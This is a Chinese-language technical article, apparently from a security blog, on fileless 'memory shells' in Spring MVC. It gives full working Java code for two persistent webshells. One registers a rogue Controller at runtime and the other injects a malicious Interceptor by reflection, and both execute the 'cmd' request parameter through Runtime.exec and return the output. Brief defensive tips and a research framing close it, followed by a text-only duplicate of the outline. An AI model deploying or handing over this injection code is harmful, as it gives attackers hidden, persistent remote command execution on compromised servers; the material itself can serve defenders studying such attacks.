浅析Spring类内存马
字数 1157 2025-08-24 07:48:22

Spring类内存马技术分析与实现

一、概述

Spring类内存马是一种基于Spring框架特性的无文件攻击技术,通过动态注册Controller或Interceptor实现命令执行功能。本文详细分析Controller内存马和Interceptor内存马两种实现方式。

二、环境搭建

1. 依赖配置

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-webmvc</artifactId>
    <version>5.3.22</version>
</dependency>
<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>servlet-api</artifactId>
    <version>2.5</version>
</dependency>

2. web.xml配置

<servlet>
    <servlet-name>SpringMVC</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>classpath:SpringMVC.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>SpringMVC</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>

3. SpringMVC.xml配置

<context:component-scan base-package="com.sentiment" />
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
    <property name="prefix" value="/"></property>
    <property name="suffix" value=".jsp"></property>
</bean>
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" />
<!-- 或者使用 -->
<!-- <mvc:annotation-driven /> -->

三、Controller内存马

1. 前置知识

获取上下文环境的四种方法:

  1. getCurrentWebApplicationContext
  2. WebApplicationContextUtils
  3. RequestContextUtils
  4. getAttribute

注意:前两个获取的是Root WebApplicationContext,后两个可以获取Child WebApplicationContext。

Context层级关系:

  • Spring应用可以有多个Context
  • 只有一个Root Context,其余都是Child Context
  • Child Context可以访问Root Context中的bean,反之不行
  • 所有Context创建后都会被添加到ServletContext中

2. 关键实现步骤

(1) 获取上下文环境

// 方法1:通过getAttribute
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
    .getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);

// 方法2:通过RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(
    ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

(2) 定义恶意Controller

@RestController
public class InjectToController {
    public InjectToController(){}
    
    public String test() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();
        InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        InputStreamReader isr = new InputStreamReader(is, "UTF-8");
        BufferedReader br = new BufferedReader(isr);
        String str = "";
        String line = "";
        while((line = br.readLine())!= null){
            str += line;
        }
        is.close();
        br.close();
        return str;
    }
}

(3) 注册Controller

// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

// 准备handler和method
InjectToController injectToController = new InjectToController();
Method method = InjectToController.class.getMethod("test");

// 创建RequestMappingInfo
RequestMappingInfo info = new RequestMappingInfo(null, null, null, null, null, null, null);

// 注册映射
mappingHandlerMapping.registerMapping(info, injectToController, method);

3. 完整内存马实现

@RestController
public class TestController {
    @RequestMapping(value="/inject", method=RequestMethod.GET)
    public String inject() throws NoSuchMethodException {
        // 1. 获取上下文环境
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
            .getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);
        
        // 2. 通过上下文获取RequestMappingHandlerMapping
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        
        // 3. 通过反射获取自定义的controller和Method
        Method method = InjectToController.class.getMethod("test");
        InjectToController injectToController = new InjectToController();
        
        // 4. 注册controller
        RequestMappingInfo info = new RequestMappingInfo(null, null, null, null, null, null, null);
        mappingHandlerMapping.registerMapping(info, injectToController, method);
        
        return "Inject Success!";
    }
    
    @RestController
    public class InjectToController {
        public InjectToController(){}
        
        public String test() throws Exception {
            HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();
            InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            InputStreamReader isr = new InputStreamReader(is, "UTF-8");
            BufferedReader br = new BufferedReader(isr);
            String str = "";
            String line = "";
            while((line = br.readLine())!= null){
                str += line;
            }
            is.close();
            br.close();
            return str;
        }
    }
}

四、Interceptor内存马

1. 前置知识

Interceptor拦截器:

  • 相当于过滤器,在请求前进行拦截
  • 需要实现HandlerInterceptor接口
  • 必须在SpringMVC配置文件中配置

拦截过程:

  1. 先执行preHandle(),返回true则继续执行
  2. 控制器处理完请求后执行postHandle()
  3. 在DispatcherServlet处理完请求后执行afterCompletion()

2. 关键实现步骤

(1) 获取上下文和HandlerMapping

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
    .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

(2) 获取adaptedInterceptors属性

Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<HandlerInterceptor> adaptedInterceptors = (ArrayList<HandlerInterceptor>) field.get(mappingHandlerMapping);

(3) 定义恶意Interceptor

class InjectInterceptor implements HandlerInterceptor {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        InputStreamReader isr = new InputStreamReader(is, "UTF-8");
        BufferedReader br = new BufferedReader(isr);
        String str = "";
        String line = "";
        while((line = br.readLine())!= null){
            str += line;
        }
        is.close();
        br.close();
        response.getWriter().write(str);
        return false;
    }
    
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {}
    
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {}
}

(4) 注册Interceptor

MappedInterceptor mappedInterceptor = new MappedInterceptor(null, null, new InjectInterceptor());
adaptedInterceptors.add(mappedInterceptor);

3. 完整内存马实现

@RestController
public class InterceptorShell {
    @RequestMapping(value="/inject", method=RequestMethod.GET)
    public String inject() throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
        try {
            // 1. 获取上下文环境
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
                .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            
            // 2. 通过上下文获取RequestMappingHandlerMapping
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            
            // 3、反射获取adaptedInterceptors属性
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            ArrayList<HandlerInterceptor> adaptedInterceptors = (ArrayList<HandlerInterceptor>) field.get(mappingHandlerMapping);
            
            //4、生成MappedInterceptor对象
            MappedInterceptor mappedInterceptor = new MappedInterceptor(null, null, new InjectInterceptor());
            
            // 5、添加到adaptedInterceptors中
            adaptedInterceptors.add(mappedInterceptor);
            
            return "Inject Success!";
        } catch (Exception e) {
            return "Inject Failed!";
        }
    }
}

class InjectInterceptor implements HandlerInterceptor {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        InputStreamReader isr = new InputStreamReader(is, "UTF-8");
        BufferedReader br = new BufferedReader(isr);
        String str = "";
        String line = "";
        while((line = br.readLine())!= null){
            str += line;
        }
        is.close();
        br.close();
        response.getWriter().write(str);
        return false;
    }
    
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {}
    
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {}
}

五、防御措施

  1. 监控RequestMappingHandlerMapping的注册行为
  2. 检查adaptedInterceptors列表的异常修改
  3. 限制反射操作权限
  4. 实施严格的输入验证和过滤
  5. 使用安全框架如Spring Security进行防护

六、总结

本文详细分析了Spring框架中Controller和Interceptor两种内存马的实现原理和技术细节。理解这些技术有助于安全研究人员更好地防御此类攻击,同时也提醒开发人员注意Spring应用的安全性配置。

Spring类内存马技术分析与实现 一、概述 Spring类内存马是一种基于Spring框架特性的无文件攻击技术,通过动态注册Controller或Interceptor实现命令执行功能。本文详细分析Controller内存马和Interceptor内存马两种实现方式。 二、环境搭建 1. 依赖配置 2. web.xml配置 3. SpringMVC.xml配置 三、Controller内存马 1. 前置知识 获取上下文环境的四种方法: getCurrentWebApplicationContext WebApplicationContextUtils RequestContextUtils getAttribute 注意 :前两个获取的是Root WebApplicationContext,后两个可以获取Child WebApplicationContext。 Context层级关系: Spring应用可以有多个Context 只有一个Root Context,其余都是Child Context Child Context可以访问Root Context中的bean,反之不行 所有Context创建后都会被添加到ServletContext中 2. 关键实现步骤 (1) 获取上下文环境 (2) 定义恶意Controller (3) 注册Controller 3. 完整内存马实现 四、Interceptor内存马 1. 前置知识 Interceptor拦截器: 相当于过滤器,在请求前进行拦截 需要实现 HandlerInterceptor 接口 必须在SpringMVC配置文件中配置 拦截过程: 先执行 preHandle() ,返回true则继续执行 控制器处理完请求后执行 postHandle() 在DispatcherServlet处理完请求后执行 afterCompletion() 2. 关键实现步骤 (1) 获取上下文和HandlerMapping (2) 获取adaptedInterceptors属性 (3) 定义恶意Interceptor (4) 注册Interceptor 3. 完整内存马实现 五、防御措施 监控 RequestMappingHandlerMapping 的注册行为 检查 adaptedInterceptors 列表的异常修改 限制反射操作权限 实施严格的输入验证和过滤 使用安全框架如Spring Security进行防护 六、总结 本文详细分析了Spring框架中Controller和Interceptor两种内存马的实现原理和技术细节。理解这些技术有助于安全研究人员更好地防御此类攻击,同时也提醒开发人员注意Spring应用的安全性配置。